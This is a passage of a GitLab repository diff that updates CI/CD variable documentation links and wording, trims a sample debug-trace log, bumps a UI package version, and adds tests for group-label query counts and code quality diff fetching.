-1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
-1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
+1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-cicd-variable).
+1. Group-level [variables](#group-cicd-variables) or [protected variables](#protect-a-cicd-variable).
+1. Instance-level [variables](#instance-cicd-variables) or [protected variables](#protect-a-cicd-variable).
1. [Inherited CI/CD variables](#inherit-cicd-variables).
1. YAML-defined [job-level variables](../yaml/README.md#variables).
1. YAML-defined [global variables](../yaml/README.md#variables).
@@ -568,8 +562,6 @@ To learn more about scoping environments, see [Scoping environments with specs](
### Deployment variables
-> Introduced in GitLab 8.15.
-
[Integrations](../../user/project/integrations/overview.md) that are
responsible for deployment configuration may define their own variables that
are set in the build environment. These variables are only defined for
@@ -633,7 +625,7 @@ You can override the value of a current variable by
For instance, suppose you added a custom variable named `$TEST`
and you want to override it in a manual pipeline.
-Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**.
+Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:
![Override variable value](img/override_variable_manual_pipeline.png)
@@ -649,7 +641,7 @@ value for this specific pipeline.
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
Use variable expressions to limit which jobs are created
-within a pipeline after changes are pushed to GitLab.
+in a pipeline after changes are pushed to GitLab.
In `.gitlab-ci.yml`, variable expressions work with both:
@@ -774,11 +766,8 @@ so `&&` is evaluated before `||`.
#### Parentheses
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3
-> - It's deployed behind a feature flag, enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/238174) in GitLab 13.5.
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
@@ -794,24 +783,6 @@ Examples:
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`
-##### Enable or disable parenthesis support for variables **(FREE SELF)**
-
-The feature is deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can opt to disable it for your instance.
-
-To disable it:
-
-```ruby
-Feature.disable(:ci_if_parenthesis_enabled)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:ci_if_parenthesis_enabled)
-```
-
### Storing regular expressions in variables
It is possible to store a regular expression in a variable, to be used for pattern matching.
@@ -834,7 +805,7 @@ The available regular expression syntax is limited. See [related issue](https://
for more details.
If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
-as well as from within a variable:
+as well as from in a variable:
```yaml
variables:
@@ -884,8 +855,8 @@ With restricted access to debug logging, only users with
[developer or higher permissions](../../user/permissions.md#project-members-permissions)
can view job logs when debug logging is enabled with a variable in:
-- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
-- The CI/CD variables set within the GitLab UI.
+- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- The CI/CD variables set in the GitLab UI.
WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
@@ -941,10 +912,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ export CI_JOB_TOKEN=[MASKED]
++ CI_JOB_TOKEN=[MASKED]
-++ export CI_BUILD_ID=379424655
-++ CI_BUILD_ID=379424655
-++ export CI_BUILD_TOKEN=[MASKED]
-++ CI_BUILD_TOKEN=[MASKED]
++ export CI_REGISTRY_USER=gitlab-ci-token
++ CI_REGISTRY_USER=gitlab-ci-token
++ export CI_REGISTRY_PASSWORD=[MASKED]
@@ -957,10 +924,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_JOB_STAGE=test
++ export CI_NODE_TOTAL=1
++ CI_NODE_TOTAL=1
-++ export CI_BUILD_NAME=debug_trace
-++ CI_BUILD_NAME=debug_trace
-++ export CI_BUILD_STAGE=test
-++ CI_BUILD_STAGE=test
++ export CI=true
++ CI=true
++ export GITLAB_CI=true
@@ -975,16 +938,6 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_SERVER_PROTOCOL=https
++ export CI_SERVER_NAME=GitLab
++ CI_SERVER_NAME=GitLab
-++ export CI_SERVER_VERSION=12.6.0-pre
-++ CI_SERVER_VERSION=12.6.0-pre
-++ export CI_SERVER_VERSION_MAJOR=12
-++ CI_SERVER_VERSION_MAJOR=12
-++ export CI_SERVER_VERSION_MINOR=6
-++ CI_SERVER_VERSION_MINOR=6
-++ export CI_SERVER_VERSION_PATCH=0
-++ CI_SERVER_VERSION_PATCH=0
-++ export CI_SERVER_REVISION=f4cc00ae823
-++ CI_SERVER_REVISION=f4cc00ae823
++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,visual_review_app,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pipelines,custom_file_templates,custom_file_templates_for_namespace,custom_project_templates,custom_prometheus_metrics,cycle_analytics_for_groups,db_load_balancing,default_project_deletion_protection,dependency_proxy,deploy_board,design_management,email_additional_text,extended_audit_events,external_authorization_service_api_management,feature_flags,file_locks,geo,github_project_service_integration,group_allowed_email_domains,group_project_templates,group_saml,issues_analytics,jira_dev_panel_integration,ldap_group_sync_filter,merge_pipelines,merge_request_performance_metrics,merge_trains,metrics_reports,multiple_approval_rules,multiple_group_issue_boards,object_storage,operations_dashboard,packages,productivity_analytics,project_aliases,protected_environments,reject_unsigned_commits,required_ci_templates,scoped_labels,service_desk,smartcard_auth,group_timelogs,type_of_work_analytics,unprotection_restrictions,ci_project_subscriptions,cluster_health,container_scanning,dast,dependency_scanning,epics,group_ip_restriction,incident_management,insights,license_management,personal_access_token_expiration_policy,pod_logs,prometheus_alerts,pseudonymizer,report_approver_rules,sast,security_dashboard,tracing,web_ide_terminal
++ export CI_PROJECT_ID=17893
@@ -1029,55 +982,17 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
++ CI_COMMIT_REF_NAME=master
++ export CI_COMMIT_REF_SLUG=master
++ CI_COMMIT_REF_SLUG=master
-++ export CI_COMMIT_MESSAGE=s/CI/Runner
-++ CI_COMMIT_MESSAGE=s/CI/Runner
-++ export CI_COMMIT_TITLE=s/CI/Runner
-++ CI_COMMIT_TITLE=s/CI/Runner
-++ export CI_COMMIT_DESCRIPTION=
-++ CI_COMMIT_DESCRIPTION=
-++ export CI_COMMIT_REF_PROTECTED=true
-++ CI_COMMIT_REF_PROTECTED=true
-++ export CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ CI_BUILD_REF=dd648b2e48ce6518303b0bb580b2ee32fadaf045
-++ export CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ CI_BUILD_BEFORE_SHA=0000000000000000000000000000000000000000
-++ export CI_BUILD_REF_NAME=master
-++ CI_BUILD_REF_NAME=master
-++ export CI_BUILD_REF_SLUG=master
-++ CI_BUILD_REF_SLUG=master
-++ export CI_RUNNER_ID=1337
-++ CI_RUNNER_ID=1337
-++ export CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ CI_RUNNER_DESCRIPTION=shared-runners-manager-4.gitlab.com
-++ export 'CI_RUNNER_TAGS=gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ CI_RUNNER_TAGS='gce, east-c, shared, docker, linux, ruby, mysql, postgres, mongo, git-annex'
-++ export CI_DEBUG_TRACE=true
-++ CI_DEBUG_TRACE=true
-++ export GITLAB_USER_ID=42
-++ GITLAB_USER_ID=42
-++ export GITLAB_USER_EMAIL=user@example.com
-++ GITLAB_USER_EMAIL=user@example.com
-++ export GITLAB_USER_LOGIN=root
-++ GITLAB_USER_LOGIN=root
-++ export 'GITLAB_USER_NAME=User'
-++ GITLAB_USER_NAME='User'
-++ export CI_DISPOSABLE_ENVIRONMENT=true
-++ CI_DISPOSABLE_ENVIRONMENT=true
-++ export CI_RUNNER_VERSION=12.5.0
-++ CI_RUNNER_VERSION=12.5.0
-++ export CI_RUNNER_REVISION=577f813d
-++ CI_RUNNER_REVISION=577f813d
-++ export CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ CI_RUNNER_EXECUTABLE_ARCH=linux/amd64
-++ export VERY_SECURE_VARIABLE=imaverysecurevariable
-++ VERY_SECURE_VARIABLE=imaverysecurevariable
...
```
## Video walkthrough of a working example
-The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
+The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
+video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
+working example project. It explains how multiple levels of group CI/CD variables
+can be combined with environment-scoped project variables for complex configuration
+of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index 36ebedf61d1..23f93fd6219 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -1229,7 +1229,7 @@ expression string per rule, rather than an array of them. Any set of expressions
evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions).
-Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts)
+Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts)
sections, variables in rules expressions are always formatted as `$VARIABLE`.
`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index f6390d1c8ef..7fb1e11b303 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -156,7 +156,7 @@ is not shared to forks. To work around this, you can add an [environment
variable](../ci/variables/README.md) called `DANGER_GITLAB_API_TOKEN` with a
personal API token to your fork. That way the danger comments are made from CI
using that API token instead. Making the variable
-[masked](../ci/variables/README.md#mask-a-custom-variable) makes sure it
+[masked](../ci/variables/README.md#mask-a-cicd-variable) makes sure it
doesn't show up in the job logs. The variable cannot be
-[protected](../ci/variables/README.md#protect-a-custom-variable), as it needs
+[protected](../ci/variables/README.md#protect-a-cicd-variable), as it needs
to be present for all feature branches.
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
index 39aa6464a1e..20bf993d7a8 100644
--- a/doc/user/application_security/api_fuzzing/index.md
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -443,7 +443,7 @@ To use HTTP basic authentication, two CI/CD variables are added to your `.gitlab
- `FUZZAPI_HTTP_USERNAME`: The username for authentication.
- `FUZZAPI_HTTP_PASSWORD`: The password for authentication.
-For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
+For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables)
(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the
GitLab projects page at **Settings > CI/CD**, in the **Variables** section. Use that variable
as the value for `FUZZAPI_HTTP_PASSWORD`:
@@ -478,7 +478,7 @@ outgoing HTTP requests.
Follow these steps to provide the bearer token with `FUZZAPI_OVERRIDES_ENV`:
-1. [Create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui),
+1. [Create a CI/CD variable](../../../ci/variables/README.md#custom-cicd-variables),
for example `TEST_API_BEARERAUTH`, with the value
`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You
can create CI/CD variables from the GitLab projects page at **Settings > CI/CD**, in the
@@ -817,7 +817,7 @@ variables:
```
In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a
-[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables):
+[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables):
```yaml
include:
diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md
index 909065d7907..59731f393c2 100644
--- a/doc/user/application_security/container_scanning/index.md
+++ b/doc/user/application_security/container_scanning/index.md
@@ -241,7 +241,7 @@ container_scanning:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Vulnerability allowlisting
diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md
index 38227cfc3fa..d646de50435 100644
--- a/doc/user/application_security/dast/index.md
+++ b/doc/user/application_security/dast/index.md
@@ -271,7 +271,7 @@ that you periodically confirm the scanner's authentication is still working as t
time due to authentication changes to the application.
Create masked CI/CD variables to pass the credentials that DAST uses.
-To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+To create masked variables for the username and password, see [Create a custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables).
Note that the key of the username variable must be `DAST_USERNAME`
and the key of the password variable must be `DAST_PASSWORD`.
diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md
index f82b5be2abc..38b5e629660 100644
--- a/doc/user/application_security/dependency_scanning/index.md
+++ b/doc/user/application_security/dependency_scanning/index.md
@@ -215,7 +215,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
### Using private Maven repositories
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index ebee3b298a7..b164c66e054 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -407,7 +407,7 @@ to pass a username and password. You can set it under your project's settings
so that your credentials aren't exposed in `.gitlab-ci.yml`.
If the username is `myuser` and the password is `verysecret` then you would
-[set the following variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
+[set the following variable](../../ci/variables/README.md#custom-cicd-variables)
under your project's settings:
| Type | Key | Value |
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index 3eebd35620a..0c256377aeb 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -444,7 +444,7 @@ variables:
-----END CERTIFICATE-----
```
-The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a [custom variable in the UI](../../../ci/variables/README.md#custom-cicd-variables), either as a `file`, which requires the path to the certificate, or as a variable, which requires the text representation of the certificate.
#### Docker images
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index f51f1a01ac9..659fad2d9aa 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -490,7 +490,7 @@ example:
}
```
-If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-custom-variable)
+If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-cicd-variable)
following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name).
#### Custom root certificates for Conan
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index 6d4f8688099..1e536b0cbec 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -205,7 +205,7 @@ can be used for:
- Downloading assets from a CDN
- Any other commands that must run before the `git init`
-To use this feature, define a [CI/CD variable](../../ci/variables/README.md#create-a-custom-variable-in-the-ui) called
+To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called
`CI_PRE_CLONE_SCRIPT` that contains a bash script.
[This example](../../development/pipelines.md#pre-clone-step)
diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md
index e0be18d8b12..f9423c0be2d 100644
--- a/doc/user/project/clusters/serverless/aws.md
+++ b/doc/user/project/clusters/serverless/aws.md
@@ -134,7 +134,7 @@ This example code does the following:
#### Setting up your AWS credentials with your GitLab account
In order to interact with your AWS account, the GitLab CI/CD pipelines require both `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to be defined in your GitLab settings under **Settings > CI/CD > Variables**.
-For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#custom-variables-validated-by-gitlab).
The AWS credentials you provide must include IAM policies that provision correct
access control to AWS Lambda, API Gateway, CloudFormation, and IAM resources.
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 9575f39b244..9f6abe7a89f 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -242,8 +242,7 @@ to learn more about how to define one.
To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable.
This can be done:
-- For the whole project, [in the project settings](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
- or [CI/CD configuration](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+- For [the whole project](../../../ci/variables/README.md#custom-cicd-variables).
- For a single pipeline run:
1. Go to **CI/CD > Pipelines**
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index 2b2ba479ab6..307070e8b56 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -30516,6 +30516,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The merge request has been updated, and the number of code quality violations in this file has changed."
+msgstr ""
+
msgid "The metric must be one of %{metrics}."
msgstr ""
diff --git a/package.json b/package.json
index b9801833a2d..c59aa8380eb 100644
--- a/package.json
+++ b/package.json
@@ -51,7 +51,7 @@
"@gitlab/favicon-overlay": "2.0.0",
"@gitlab/svgs": "1.185.0",
"@gitlab/tributejs": "1.0.0",
- "@gitlab/ui": "28.18.2",
+ "@gitlab/ui": "29.1.0",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "^6.0.3-4",
"@rails/ujs": "^6.0.3-4",
diff --git a/spec/controllers/groups/labels_controller_spec.rb b/spec/controllers/groups/labels_controller_spec.rb
index b2320615778..0a3aed9688b 100644
--- a/spec/controllers/groups/labels_controller_spec.rb
+++ b/spec/controllers/groups/labels_controller_spec.rb
@@ -46,6 +46,24 @@ RSpec.describe Groups::LabelsController do
it_behaves_like 'disabled when using an external authorization service'
end
+
+ context 'with views rendered' do
+ render_views
+
+ before do
+ get :index, params: { group_id: group.to_param }
+ end
+
+ it 'avoids N+1 queries' do
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) { get :index, params: { group_id: group.to_param } }
+
+ create_list(:group_label, 3, group: group)
+
+ # some n+1 queries still exist
+ expect { get :index, params: { group_id: group.to_param } }.not_to exceed_all_query_limit(control.count).with_threshold(12)
+ expect(assigns(:labels).count).to eq(4)
+ end
+ end
end
describe 'POST #toggle_subscription' do
diff --git a/spec/factories/subscriptions.rb b/spec/factories/subscriptions.rb
index 2b652cd57bf..8ba96d9fa29 100644
--- a/spec/factories/subscriptions.rb
+++ b/spec/factories/subscriptions.rb
@@ -5,5 +5,11 @@ FactoryBot.define do
project
user { project.creator }
subscribable factory: :issue
+
+ trait :group_label do
+ project { nil }
+ user { association(:user) }
+ subscribable factory: :group_label
+ end
end
end
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index f2572d203b4..90faf98c871 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -56,6 +56,7 @@ describe('diffs/components/app', () => {
endpointMetadata: `${TEST_HOST}/diff/endpointMetadata`,
endpointBatch: `${TEST_HOST}/diff/endpointBatch`,
endpointCoverage: `${TEST_HOST}/diff/endpointCoverage`,
+ endpointCodequality: `${TEST_HOST}/diff/endpointCodequality`,
projectPath: 'namespace/project',
currentUser: {},
changesEmptyStateIllustration: '',
@@ -141,6 +142,24 @@ describe('diffs/components/app', () => {
});
});
+ describe('codequality diff', () => {
+ it('fetches code quality data when endpoint is provided', () => {
+ createComponent();
+ jest.spyOn(wrapper.vm, 'fetchCodequality');
+ wrapper.vm.fetchData(false);
+
+ expect(wrapper.vm.fetchCodequality).toHaveBeenCalled();
+ });
+
+ it('does not fetch code quality data when endpoint is blank', async () => {
+ createComponent({ endpointCodequality: '' });
+ jest.spyOn(wrapper.vm, 'fetchCodequality');
+ wrapper.vm.fetchData(false);
+
+ expect(wrapper.vm.fetchCodequality).not.toHaveBeenCalled();
+ });
+ });
+
it.each`
props | state | expected
${{ isFluidLayout: true }} | ${{ isParallelView: false }} | ${false}
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index de41e1724a3..0d3eaa15f1e 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -17,6 +17,9 @@ import {
fetchDiffFilesBatch,
fetchDiffFilesMeta,
fetchCoverageFiles,
+ clearEtagPoll,
+ stopCodequalityPolling,
+ fetchCodequality,
assignDiscussionsToDiff,
removeDiscussionsFromDiff,
startRenderDiffsQueue,
@@ -98,6 +101,7 @@ describe('DiffsStoreActions', () => {
const endpointMetadata = '/diffs/set/endpoint/metadata';
const endpointBatch = '/diffs/set/endpoint/batch';
const endpointCoverage = '/diffs/set/coverage_reports';
+ const endpointCodequality = '/diffs/set/codequality_diff';
const projectPath = '/root/project';
const dismissEndpoint = '/-/user_callouts';
const showSuggestPopover = false;
@@ -109,6 +113,7 @@ describe('DiffsStoreActions', () => {
endpointBatch,
endpointMetadata,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -118,6 +123,7 @@ describe('DiffsStoreActions', () => {
endpointBatch: '',
endpointMetadata: '',
endpointCoverage: '',
+ endpointCodequality: '',
projectPath: '',
dismissEndpoint: '',
showSuggestPopover: true,
@@ -130,6 +136,7 @@ describe('DiffsStoreActions', () => {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -297,6 +304,47 @@ describe('DiffsStoreActions', () => {
});
});
+ describe('fetchCodequality', () => {
+ let mock;
+ const endpointCodequality = '/fetch';
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ stopCodequalityPolling();
+ clearEtagPoll();
+ });
+
+ it('should commit SET_CODEQUALITY_DATA with received response', (done) => {
+ const data = {
+ files: { 'app.js': [{ line: 1, description: 'Unexpected alert.', severity: 'minor' }] },
+ };
+
+ mock.onGet(endpointCodequality).reply(200, { data });
+
+ testAction(
+ fetchCodequality,
+ {},
+ { endpointCodequality },
+ [{ type: types.SET_CODEQUALITY_DATA, payload: { data } }],
+ [],
+ done,
+ );
+ });
+
+ it('should show flash on API error', (done) => {
+ mock.onGet(endpointCodequality).reply(400);
+
+ testAction(fetchCodequality, {}, { endpointCodequality }, [], [], () => {
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledWith(expect.stringMatching('Something went wrong'));
+ done();
+ });
+ });
+ });
+
describe('setHighlightedRow', () => {
it('should mark currently selected diff and set lineHash and fileHash of highlightedRow', () => {
testAction(setHighlightedRow, 'ABC_123', {}, [
diff --git a/spec/frontend/diffs/store/getters_spec.js b/spec/frontend/diffs/store/getters_spec.js
index 2e3a66d5b01..aac4909b151 100644
--- a/spec/frontend/diffs/store/getters_spec.js
+++ b/spec/frontend/diffs/store/getters_spec.js
@@ -376,6 +376,26 @@ describe('Diffs Module Getters', () => {
});
});
+ describe('fileCodequalityDiff', () => {
+ beforeEach(() => {
+ Object.assign(localState.codequalityDiff, {
+ files: { 'app.js': [{ line: 1, description: 'Unexpected alert.', severity: 'minor' }] },
+ });
+ });
+
+ it('returns empty array when no codequality data is available', () => {
+ Object.assign(localState.codequalityDiff, {});
+
+ expect(getters.fileCodequalityDiff(localState)('test.js')).toEqual([]);
+ });
+
+ it('returns array when codequality data is available for given file', () => {
+ expect(getters.fileCodequalityDiff(localState)('app.js')).toEqual([
+ { line: 1, description: 'Unexpected alert.', severity: 'minor' },
+ ]);
+ });
+ });
+
describe('suggestionCommitMessage', () => {
let rootState;
diff --git a/spec/frontend/diffs/store/mutations_spec.js b/spec/frontend/diffs/store/mutations_spec.js
index a8ae759e693..f03b37b5a06 100644
--- a/spec/frontend/diffs/store/mutations_spec.js
+++ b/spec/frontend/diffs/store/mutations_spec.js
@@ -113,6 +113,19 @@ describe('DiffsStoreMutations', () => {
});
});
+ describe('SET_CODEQUALITY_DATA', () => {
+ it('should set codequality data', () => {
+ const state = { codequalityDiff: {} };
+ const codequality = {
+ files: { 'app.js': [{ line: 1, description: 'Unexpected alert.', severity: 'minor' }] },
+ };
+
+ mutations[types.SET_CODEQUALITY_DATA](state, codequality);
+
+ expect(state.codequalityDiff).toEqual(codequality);
+ });
+ });
+
describe('SET_DIFF_VIEW_TYPE', () => {
it('should set diff view type properly', () => {
const state = {};
diff --git a/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb b/spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
index 109b4b8fee1..690ffb15a5d 100644
